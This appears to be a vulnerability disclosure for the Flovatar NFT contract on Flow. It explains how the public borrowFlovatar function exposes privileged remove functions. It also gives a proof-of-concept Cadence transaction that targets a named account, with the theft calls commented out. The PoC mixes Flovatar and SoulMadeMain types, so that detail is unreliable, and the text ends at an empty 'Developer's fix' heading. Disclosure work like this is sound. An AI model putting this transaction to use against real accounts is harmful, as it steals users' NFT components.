flowavatar.png

Flovatar contract

Details

// line 549 to 556
pub resource interface CollectionPublic {
        pub fun borrowFlovatar(id: UInt64): &Flovatar.NFT? {
            // If the result isn't nil, the id of the returned reference
            // should be the same as the argument to the function
            post {
                (result == nil) || (result?.id == id):
                    "Cannot borrow Flovatar reference: The ID of the returned reference is incorrect"
            }
        }
    }

// line 143
pub resource interface Private {
        pub fun setName(name: String): String
        pub fun setAccessory(component: @FlovatarComponent.NFT): @FlovatarComponent.NFT?
        pub fun setHat(component: @FlovatarComponent.NFT): @FlovatarComponent.NFT?
        pub fun setEyeglasses(component: @FlovatarComponent.NFT): @FlovatarComponent.NFT?
        pub fun setBackground(component: @FlovatarComponent.NFT): @FlovatarComponent.NFT?
        pub fun removeAccessory(): @FlovatarComponent.NFT?
        pub fun removeHat(): @FlovatarComponent.NFT?
        pub fun removeEyeglasses(): @FlovatarComponent.NFT?
        pub fun removeBackground(): @FlovatarComponent.NFT?
    }

// line 156
pub resource NFT: NonFungibleToken.INFT, Public, Private, MetadataViews.Resolver {

In line 156, the NFT resource contains privileged actions that allow the user to update the accessory, hat, eyeglasses, and background for a specific avatar. The actions are all included in the Private resource interface, as seen in lines 143 to 153. Usually, the privileged actions should and can only be called by the NFT owner.

The vulnerability arises in line 549, where the borrowFlovatar function is exposed in the CollectionPublic resource interface. Since the function returns an authorized reference to the NFT resource, an attacker can access the NFT’s privilege function by retrieving the CollectionPublicPath public capability and calling borrowFlovatar towards a specific NFT identifier value.

As a result, the attacker can steal the accessory, hat, eyeglasses, and background of the specific avatar using removeAccessory, removeHat, removeEyeglasses, and removeBackground functionality respectively.

Attack scenario

For some reason, the address 0x55ad22f01ef568a1 seems to handle all interactions between the contract and the user. A sophisticated attacker would gather all authorizer’s addresses under https://flowscan.org/contract/A.921ea449dffec68a.Flovatar/interactions and query all available NFTs under the victim’s account storage.

Pseudocode

Below is an example transaction code that illustrates the attack.

import Flovatar from 0x921ea449dffec68a

transaction() {

    execute {
        let userAddress : Address = 0x8e06fac3b35cd086
        let account = getAccount(userAddress)

        let cap = account.getCapability<&{SoulMadeMain.CollectionPublic}>(SoulMadeMain.CollectionPublicPath).borrow()!

        let availableNFTs = cap.getIDs()

        for nft in availableNFTs {
            let ref = cap.borrowFlovatar(id: nft)
            if ref!.getAccessory() != nil {
                // let accessory <- ref!.removeAccessory()
            }

            if ref!.getHat() != nil {
                // let hat <- ref!.removeHat()
            }

            if ref!.getEyeglasses() != nil {
                // let eyeglasses <- ref!.removeEyeglasses()
            }

            if ref!.getBackground() != nil {
                // let background <- ref!.removeBackground()
            }
        }

    }
}

Similar issues

The Flobot contract suffers from the same root cause as seen in line 425. Consequently, this allows an attacker to steal FlovatarComponent.NFT using the removeBackground functionality.

Reference

Cadence Anti-Patterns


Developer’s fix